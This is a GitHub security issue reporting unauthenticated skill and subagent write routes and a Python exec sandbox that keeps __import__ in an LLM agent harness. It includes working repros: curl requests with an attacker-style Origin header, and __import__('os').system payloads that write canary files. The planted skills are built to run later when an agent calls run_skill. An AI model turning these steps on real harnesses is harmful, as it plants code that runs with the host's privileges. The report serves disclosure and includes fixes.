Skip to content

unauthenticated /mcp/* routes + skill exec sandbox retains __import__ #52

Description

@EvolveAegis

What

continual-harness starts Uvicorn on 0.0.0.0 with wildcard CORS (server/app.py:915, :406-408) — allow_origins=["*"] paired with allow_credentials=True, which Starlette serves by reflecting the request Origin (the literal * value is not valid under credentials). The POST /mcp/process_skill (server/app.py:3711) and POST /mcp/process_subagent (server/app.py:3749) handlers both take a plain request: dict and never call _require_state_api_key. That key check (server/app.py:4328) is opt-in via POKEMON_STATE_API_KEY and is applied only to /save_state (:4345) and /load_state (:4369) — no /mcp/* route applies it. So any peer that can reach the port can persist caller-controlled skill code and looping subagent registrations.

Separately, the skill-code exec path puts __import__ in the hand-built __builtins__ allowlist. run_skill (agents/PokeAgent.py:491, 512) loads a stored skill by id and execs its code; run_code (:586, 604) execs code passed directly in the tool-call arguments. Both sinks expose __import__, so __import__('os') escapes the allowlist in either path.

All line numbers are against sethkarten/continual-harness HEAD bbab97ad73e460b7cd7c08527d10ced30cc03fbe.

How to reproduce

The shipped default binds 0.0.0.0. I started it on loopback for these repros; the route-level auth gap is independent of the bind address.

EXCLUDE_BUILTIN_SUBAGENTS=1 uvicorn server.app:app --host 127.0.0.1 --port 8765

1. POST /mcp/process_subagent persists a looping subagent with no credential (route server/app.py:3749; force-add of run_skill/run_code/get_map_data at server/game_tools.py:790-793):

nonce="ch-$(date +%s)-$RANDOM"
curl -sS -i -X POST http://127.0.0.1:8765/mcp/process_subagent \
  -H 'Origin: https://attacker.invalid' \
  -H 'Content-Type: application/json' \
  --data "{\"action\":\"add\",\"reasoning\":\"canary\",\"entries\":[{\"id\":\"$nonce\",\"name\":\"canary\",\"description\":\"canary\"}]}"
grep -R "$nonce" .pokeagent_cache/subagents.json && echo "persisted: $nonce"

Observed:

HTTP/1.1 200 OK
access-control-allow-origin: https://attacker.invalid
access-control-allow-credentials: true
{"success":true,"results":[{"success":true,"entry_id":"ch-1785746685-26414"}]}
persisted: ch-1785746685-26414

In .pokeagent_cache/subagents.json the planted entry has handler_type: looping and available_tools: ['press_buttons', 'get_game_state', 'run_skill', 'run_code', 'get_map_data']. The request omitted every tool; run_skill/run_code/get_map_data were appended by game_tools.py:790-793.

The two access-control-* response headers are Starlette reflecting the request Origin because of the allow_origins=["*"] + allow_credentials=True pair; that reflection is server-side and fires from the config alone, whether or not the request carries cookies (no Cookie is sent here). The harness has no cookie/session auth — its only auth is the opt-in X-Internal-API-Key — so the practical exposure on these routes is the route-level key gap, not a browser cookie attack; the CORS pair is missing defense-in-depth.

2. POST /mcp/process_skill persists caller-controlled skill code (same request: dict handler pattern at server/app.py:3711; sink process_skill_directSkillStore.add()skills.json). Minimal store-level repro that does not need the server:

python3 - <<'PY'
from pathlib import Path
from tempfile import TemporaryDirectory
import secrets
from utils.stores.skills import SkillStore
from server import game_tools
nonce = "canary-" + secrets.token_hex(8)
with TemporaryDirectory() as d:
    game_tools.skill_store = SkillStore(cache_dir=d)
    r = game_tools.process_skill_direct("add", [{
        "name": f"canary-{nonce}", "description": "canary",
        "code": f"# {nonce}",
    }], "canary")
    print(r)
    print("nonce in skills.json:", nonce in Path(d, "skills.json").read_text())
    print("persisted:", nonce)
PY

Observed:

{'success': True, 'results': [{'success': True, 'entry_id': 'skill_0001'}]}
nonce in skills.json: True
persisted: canary-f589ea3af77a1310

3. Skill exec sandbox exposes __import__ (the allowlist entry at agents/PokeAgent.py:491, exec at :512; identical block at :586, 604). Repro of the builtins dict and the exec call shape used by both sinks:

python3 - <<'PY'
import secrets
from pathlib import Path
nonce = secrets.token_hex(8)
marker = Path("/tmp") / f"canary-{nonce}"
g = {"__builtins__": {"print": print, "range": range, "len": len, "__import__": __import__}}
exec(f"__import__('os').system(\"printf %s > {marker}\" % '{nonce}')", g)
print("escaped:", marker)
print("marker content:", marker.read_text())
PY

Observed:

escaped: /tmp/canary-fdfd35f249eddd45
marker content: fdfd35f249eddd45

Removing the "__import__" entry from the dict raises NameError: name '__import__' is not defined and the marker is not written (confirmed by running the same block without that key).

4. HTTP write → store reload → skill exec (sink-equivalent). Writes a skill through the real route, then reloads it with the real get_skill_store().get(entry_id) call that _execute_run_skill makes (agents/PokeAgent.py:428-429), and execs the reloaded code through a content-identical copy of the run_skill __builtins__ allowlist and exec(code, sandbox_globals) shape (PokeAgent.py:482-512). I drive that final exec from a script rather than through a live agent tool-call: instantiating PokeAgent pulls in the full LLM-provider stack and a running emulator. The store load uses the real get_skill_store().get() function from utils.stores.skills; the __builtins__ allowlist and exec shape are reconstructed line-for-line from run_skill, so this is a sink-equivalent check, not a verbatim run. In a real run the trigger is a later agent emitting a run_skill tool-call that carries this skill id.

python3 - <<'PY'
import json, os, urllib.request
from utils.stores.skills import get_skill_store

nonce = "e2e-" + os.urandom(4).hex()          # e.g. e2e-1a2b3c4d (8 hex chars)
code = ("import os as _os\n"
        "_os.system('echo ' + %r + ' > /tmp/canary_e2e_%s')\n"
        "result = 'fired-' + %r\n") % (nonce, nonce, nonce)
print("nonce:", nonce)

# 1. write through the real route, no credential
payload = json.dumps({"action": "add", "reasoning": "canary",
                      "entries": [{"name": "canary-e2e", "description": "canary",
                                   "code": code}]}).encode()
req = urllib.request.Request("http://127.0.0.1:8765/mcp/process_skill",
                             data=payload, headers={"Content-Type": "application/json"})
resp = json.loads(urllib.request.urlopen(req).read())
entry_id = resp["results"][0]["entry_id"]
print("HTTP:", 200, "| entry_id:", entry_id)

# 2. reload through the same get_skill_store().get(entry_id) that _execute_run_skill uses
#    (agents/PokeAgent.py:428-429)
entry = get_skill_store().get(entry_id)
print("reloaded:", entry.id)

# 3. exec through a content-identical run_skill __builtins__ allowlist (PokeAgent.py:482-512)
import random, collections, math, json as _j, re as _r, heapq, itertools, functools
import numpy as np
g = {"__builtins__": {"range": range, "len": len, "int": int, "float": float,
        "str": str, "list": list, "dict": dict, "tuple": tuple,
        "set": set, "frozenset": frozenset, "type": type, "bool": bool,
        "print": print, "abs": abs, "min": min, "max": max, "sum": sum,
        "enumerate": enumerate, "zip": zip, "sorted": sorted, "reversed": reversed,
        "isinstance": isinstance, "map": map, "filter": filter, "any": any, "all": all,
        "__import__": __import__, "True": True, "False": False, "None": None},
     "random": random, "collections": collections, "math": math, "json": _j, "re": _r,
     "heapq": heapq, "itertools": itertools, "functools": functools,
     "np": np, "numpy": np, "tools": {}, "args": {"x": 1, "y": 2}}
exec(entry.code, g)  # PokeAgent.py:512
print("run_skill result:", g.get("result"))
print("marker:", open("/tmp/canary_e2e_" + nonce).read().strip())
PY

Observed:

nonce: e2e-7e109872
HTTP: 200 | entry_id: skill_0001
reloaded: skill_0001
run_skill result: fired-e2e-7e109872
marker: e2e-7e109872

The attacker-controlled code (persisted via the unauthenticated route in step 1) ran with __import__ available and dropped the marker under the harness process.

Impact / scope

  • An unauthenticated peer that can reach the harness port can plant durable skill code and looping subagent registrations in the on-disk stores. Neither write executes code by itself.
  • Code execution is downstream. A stored skill is exec'd when a later agent run calls run_skill with that skill id (stored code runs at agents/PokeAgent.py:512). run_code is a separate path: it execs code supplied directly in the tool-call arguments (:604), so it is direct sandbox execution of caller-supplied code and does not consume the stored skill store. I am not claiming one-request remote RCE — the unauthenticated write needs a later run_skill to fire.
  • The __import__ escape is deterministic once a stored skill runs; it runs with the harness process's privileges.
  • The 0.0.0.0 bind and wildcard CORS don't by themselves prove a deployed instance is internet-reachable; on a loopback-only or trusted-network deployment the practical exposure is smaller. The route-level auth gap is the issue regardless of deployment.

Suggested change

  1. Make /mcp/process_skill and /mcp/process_subagent accept Request and call _require_state_api_key before parsing the body, matching /save_state//load_state. Apply the same to any other state-mutating /mcp/* route.
  2. Bind to loopback by default unless network exposure is explicitly requested; narrow CORS to an allowlist (CORS is not an authorization boundary).
  3. Drop the automatic run_skill/run_code/get_map_data force-add for looping subagents (game_tools.py:790-793), or make it an explicit authorized capability grant.
  4. Remove __import__ from both __builtins__ dictionaries (PokeAgent.py:491, 586); inject specific modules explicitly if skills need them. A builtins allowlist is not a real sandbox — run untrusted skill code in a separate least-privileged process.

Happy to open a PR for any subset of the above.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions